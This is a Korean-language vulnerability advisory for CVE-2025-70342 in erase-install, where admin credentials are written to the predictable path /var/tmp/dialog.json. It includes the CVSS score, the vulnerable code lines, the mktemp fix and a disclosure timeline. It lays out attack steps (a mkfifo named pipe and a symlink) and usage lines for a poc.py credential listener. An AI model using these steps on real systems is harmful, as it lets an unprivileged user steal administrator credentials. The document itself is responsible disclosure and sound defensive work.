
CVE-2025-70342: erase-install의 명명된 파이프를 통한 자격 증명 가로채기
v40.4 이전(커밋 2c31239)의 erase-install은 swiftDialog 자격 증명 출력을 하드코딩된 경로 /var/tmp/dialog.json에 기록합니다. Apple Silicon Mac에서 재설치/지우기 작업 중 입력된 관리자 자격 증명은 이 예측 가능하고 모든 사용자가 쓰기 가능한 위치에 기록됩니다. 로컬의 권한 없는 공격자는 이 경로에 명명된 파이프(FIFO)를 생성하여 관리자 자격 증명을 실시간으로 가로챌 수 있습니다.
점수: 7.1 (높음)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
| 지표 | 값 |
|---|---|
| 공격 벡터 | 로컬 |
| 공격 복잡도 | 낮음 |
| 필요한 권한 | 낮음 |
| 사용자 상호작용 | 필요함 (관리자가 자격 증명 입력) |
| 범위 | 변경되지 않음 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 없음 |
파일: erase-install.sh
72번째 줄:
dialog_output="/var/tmp/dialog.json"
124번째 줄:
"$dialog_bin" "${dialog_args[@]}" ... 2>/dev/null > "$dialog_output"
Apple Silicon Mac에서 erase-install은 swiftDialog를 통해 관리자에게 자격 증명 입력을 요청합니다. 자격 증명(사용자 이름 + 비밀번호)은 셸 리디렉션을 통해 /var/tmp/dialog.json - 모든 사용자가 쓰기 가능한 디렉터리에 있는 하드코딩된 경로 - 에 기록됩니다. 이 스크립트는 기록하기 전에 이 경로가 변조되었는지 확인하지 않습니다.
1. Unprivileged attacker creates a named pipe (FIFO): mkfifo /tmp/.fifo
2. Attacker creates symlink: ln -s /tmp/.fifo /var/tmp/dialog.json
3. Attacker reads from FIFO (blocks, waiting for data)
4. Admin runs: sudo erase-install.sh --erase
5. Admin enters credentials in swiftDialog prompt
6. Credentials flow through symlink → FIFO → attacker's terminal
이 공격은 특별한 타이밍이나 경쟁 조건(race condition)이 필요하지 않습니다. 공격자는 심볼릭 링크를 설치해 두고 기다리기만 하면 됩니다.
# Start the listener (as unprivileged user)
python3 poc.py
# Wait for admin to run erase-install with --erase or --reinstall
# Credentials will be printed to stdout when captured
# Cleanup
python3 poc.py --cleanup
전체 세부 정보는 poc.py를 참조하세요.
mktemp를 사용하여 무작위 파일명을 생성하므로 경로 예측을 방지합니다:- dialog_output="/var/tmp/dialog.json"
+ dialog_output=$(/usr/bin/mktemp /var/tmp/dialog.XXX.json)
| 날짜 | 이벤트 |
|---|---|
| 2025-12-23 | 취약점 발견 |
| 2025-12-23 | 유지보수자에게 이슈 보고 |
| 2025-12-24 | PR #574을 통해 수정 사항 병합 |
| 2026-02-20 | CVE-2025-70342 지정 |
이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고, 소유한 시스템 또는 명시적 테스트 권한이 있는 시스템에서만 사용하십시오.